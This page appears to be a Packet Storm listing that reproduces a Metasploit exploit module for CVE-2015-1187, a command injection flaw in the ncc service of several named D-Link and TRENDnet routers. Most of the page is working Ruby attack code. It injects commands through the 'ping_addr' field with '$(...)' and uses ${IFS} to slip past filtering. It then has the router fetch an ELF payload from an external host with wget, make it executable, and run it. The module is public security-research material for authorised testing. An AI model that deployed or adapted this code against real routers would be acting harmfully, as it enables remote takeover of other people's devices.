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D-Link/TRENDnet NCC Service Command Injection

D-Link/TRENDnet NCC Service Command Injection
Posted Apr 16, 2015
Authored by Michael Messner, Peter Adkins, Tiago Caetano Henriques | Site metasploit.com

This Metasploit module exploits a remote command injection vulnerability on several routers. The vulnerability exists in the ncc service, while handling ping commands. This Metasploit module has been tested on a DIR-626L emulated environment only. Several D-Link and TRENDnet devices are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A) v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03, and TRENDnet TEW-731BR (Rev 2) v2.01b01

tags | exploit, remote
advisories | CVE-2015-1187
MD5 | 5b57c7c0ff79d4325de41bfe776a35e8

D-Link/TRENDnet NCC Service Command Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking # Only tested on Emulated environment

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link/TRENDnet NCC Service Command Injection',
'Description' => %q{
This module exploits a remote command injection vulnerability on several routers. The
vulnerability exists in the ncc service, while handling ping commands. This module has
been tested on a DIR-626L emulated environment only. Several D-Link and TRENDnet devices
are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L
(Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link
DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)
v2.01b01
},
'Author' =>
[
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-1187'],
['BID', '72816'],
['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
],
'Targets' =>
# Only tested on D-Link DIR-626L where wget is available
[
[ 'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
[ 'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Feb 26 2015',
'DefaultTarget' => 0))

register_options(
[
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
], self.class)
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})

# unknown if other devices also using mini_httpd
if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Unknown
end

def exec_command(cmd, timeout = 20)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'encode_params' => false,
'vars_post' => {
'ccp_act' => 'ping_v6',
'ping_addr' => '$(' + cmd + ')'
}
}, timeout)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end

def primer
@payload_url = get_uri
wget_payload
end

def exploit
print_status("#{peer} - Accessing the vulnerable URL...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
end

print_status("#{peer} - Exploiting...")

@pl = generate_payload_exe
@payload_url = ''
@dropped_elf = rand_text_alpha(rand(5) + 3)

if @pl.blank?
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
end

if datastore['EXTURL'].blank?
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
end
chmod_payload
exec_payload
else
@payload_url = datastore['EXTURL']
wget_payload
chmod_payload
exec_payload
end
end

def wget_payload
upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)

cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"

print_status("#{peer} - Downloading the payload to the target machine...")
res = exec_command(cmd)

if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
register_files_for_cleanup(upload_path)
else
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
end
end

def chmod_payload
cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"

print_status("#{peer} - chmod the payload...")
res = exec_command(cmd, 1)

unless res
fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
end

Rex.sleep(1)
end

def exec_payload
cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)

print_status("#{peer} - Executing the payload...")
res = exec_command(cmd, 1)

unless res
fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
end

Rex.sleep(1)
end

# Handle incoming requests to the HTTP server
def on_request_uri(cli, request)
print_status("Request: #{request.uri}")
if request.uri =~ /#{Regexp.escape(get_resource)}/
print_status('Sending payload...')
send_response(cli, @pl)
end
end
end

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